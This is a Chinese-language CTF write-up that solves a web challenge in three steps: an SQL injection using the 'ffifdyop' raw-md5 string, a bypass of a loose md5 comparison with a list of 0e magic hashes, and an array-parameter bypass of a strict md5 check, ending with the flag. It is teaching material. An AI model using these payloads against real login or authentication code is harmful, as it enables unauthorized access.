打开连接,只有一个输入框,测试了半天sql,并没有什么鸟用
使用burp抓包,查看报文头发现有信息隐藏在hint
里面
select * from \'admin\' where password=md5($pass,true)
做题的时候在网上找大佬的关于这方面的wp,看了许多,大部分的话直接说输入ffifdyop就行了,但是没有将具体原因说清楚,所以继续找,找到了一个讲的相对而言比较有用而且详细的,链接在博客结尾,这里的话摘一些
首先找了一下关于md5(string,raw)的定义,为接下来的操作做铺垫
将第二个参数设置为true时,会将string转换为16字符的二进制格式,false时(默认情况)会输出32字符的md5加密后的十六进制数
如果使用false,那么加密后的字符无法构造出’
进行sql注入,所以一般使用true转换为16字符的二进制格式,常用的数据就是ffifdyop
测试
<?php
$str= \"ffifdyop\";
echo $str;
echo \"<br>\";
echo md5($str,true);
?>
运行结果为
标准输出:ffifdyop
\'or\'6ɝ驡r,魢
这个数据经过md5(“ffifdyop”,true)和默认情况后的输出为\'or\'6É]™é!r,ùíb
可以看到关键就前面几个字符:\'or\'6
拼接上sql语句就是:select * from \'admin\' where password=\'\'or\'6É]™é!r,ùíb\'
首先第一个单引号和查询语句进行了闭合,然后使用了or判断,后面为\'6É]™é!r,ùíb\'
关键:在mysql中,在用作布尔型判断时,1或者其他数字,比如这里的6开头的字符串会被当做整形常数,也就是说这里的sql语句变为了select * from \'admin\' where password=\'\'or 6
,返回值就为true
也就造成了永真的sql注入
输入ffifdyop,跳转到了另一个页面
源代码中有发现
<!--
$a = $GET[\'a\'];
$b = $_GET[\'b\'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
一个简单的md5比较
绕过原理,一些字符md5加密后的开头字符为0e,对于科学计数法来说就是0的多少次方,那么只要找到2个字符串加密后都是0e开头的就可以绕过
常见的0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s532378020a
0e220463095855511507588041205815
s1665632922a
0e731198061491163073197128363787
s1184209335a
0e072485820392773389523109082030
s1885207154a
0e509367213418206700842008763514
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
随便使用2个进行绕过,跳转到另外一个页面
得到源码:
<?php
error_reporting(0);
include \"flag.php\";
highlight_file(__FILE__);
if($_POST[\'param1\']!==$_POST[\'param2\']&&md5($_POST[\'param1\'])===md5($_POST[\'param2\'])){
echo $flag;
}
这里使用post方法传参然后判断参数1和参数2的md5是否相等
对于post方法的判断,md5函数无法处理数组,可以将param1和param2都变为数组,返回值都为false,那么两者肯定相等,就可以绕过
post传参:param1[]=1¶m2[]=2
得到flag
所以最终flag为flag{f297d198-7360-4542-a15f-a167bfdb7b26}
暂无评论内容